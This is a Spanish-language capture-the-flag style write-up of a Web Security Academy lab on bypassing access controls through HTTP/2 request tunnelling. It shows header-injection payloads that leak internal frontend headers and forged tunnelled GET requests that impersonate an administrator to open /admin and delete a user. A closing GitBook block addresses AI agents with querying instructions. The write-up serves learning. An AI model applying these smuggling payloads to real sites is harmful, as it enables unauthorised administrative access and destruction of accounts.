> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/bypass-access-controls-via-http-2-tunneling.md).

# Evasión de controles de acceso mediante tunelización HTTP 2

### Evasión de controles de acceso mediante tunelización de solicitudes HTTP/2

#### **Descripción del laboratorio**

Este laboratorio es vulnerable al contrabando de solicitudes porque el servidor frontal degrada las solicitudes HTTP/2 a HTTP/1 mientras limpia incorrectamente los nombres de las cabeceras entrantes. / Para resolver el laboratorio, debes acceder al panel de administración ubicado en **/admin** como administrador, luego elimina al usuario **carlos**.

El servidor frontal no reutiliza la conexión con el servidor interno, por lo que no es vulnerable a los ataques clásicos de contrabando de solicitudes. Por otro lado, sigue expuesto a **Tunelización HTTP/2**.

#### **Estudio del comportamiento del servidor**

Primero, inserta una cabecera personalizada, por ejemplo:

{% code title="Nombre:" %}

```http
Prueba: Prueba
Host: jord4n.pro
Valor:
```

{% endcode %}

<pre class="language-http" data-title="Valor:"><code class="lang-http"><strong>valor
</strong></code></pre>

<figure><img src="/files/1a9b9cc873525436a5403f78bf9cebd137d049ed" alt=""><figcaption></figcaption></figure>

Entonces, el servidor devuelve un error, lo que indica que la cabecera es inyectable.

<figure><img src="/files/7ff2827551ebefe7764f21b3ef6b0fed3e80f684" alt=""><figcaption></figcaption></figure>

Luego, si introducimos en el buscador algo como:

{% code title="Nombre" %}

```http
Prueba: prueba
Content-Length: 100

search=testing
```

{% endcode %}

<figure><img src="/files/731cf42fcbc084290ce805593eba11c7509199cd" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e4b253c78c622ea7a8a15d7ce6c11457139a55ba" alt="" width="316"><figcaption></figcaption></figure>

el servidor frontal se confunde debido a esta cabecera adicional. / Al aumentar el **Content-Length** hasta aproximadamente **150**, el servidor devuelve cabeceras internas:

```http
cookie: session=hGFEdnaCHTLJR2gv68Qj600nBECAmCeL
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONTEND-KEY: 7732064356452682
```

<figure><img src="/files/1e712e9205085afa2f747b7e0597a6b75057fc0e" alt=""><figcaption></figcaption></figure>

#### **Construcción de la solicitud tunelizada**

Ahora se está inyectando una nueva secuencia de cabeceras:

```http
Prueba: prueba

GET /admin HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682


```

Para permitir que la tunelización funcione correctamente, se coloca el método correcto (HEAD o GET según corresponda) y la ruta deseada.

<figure><img src="/files/9605dc55ef94641f6e01330ae953b7d2aa7837ee" alt=""><figcaption></figcaption></figure>

A continuación, se accede al panel de administración, donde los usuarios **wiener** y **carlos** aparecen.

<figure><img src="/files/03a47421bd01a1c15003d5c4654c4efb142f6173" alt=""><figcaption></figcaption></figure>

#### **Eliminación del usuario**

La eliminación se realiza enviando una solicitud tunelizada similar:

```http
Prueba: prueba

GET /admin/delete?username=carlos HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682


```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/bypass-access-controls-via-http-2-tunneling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
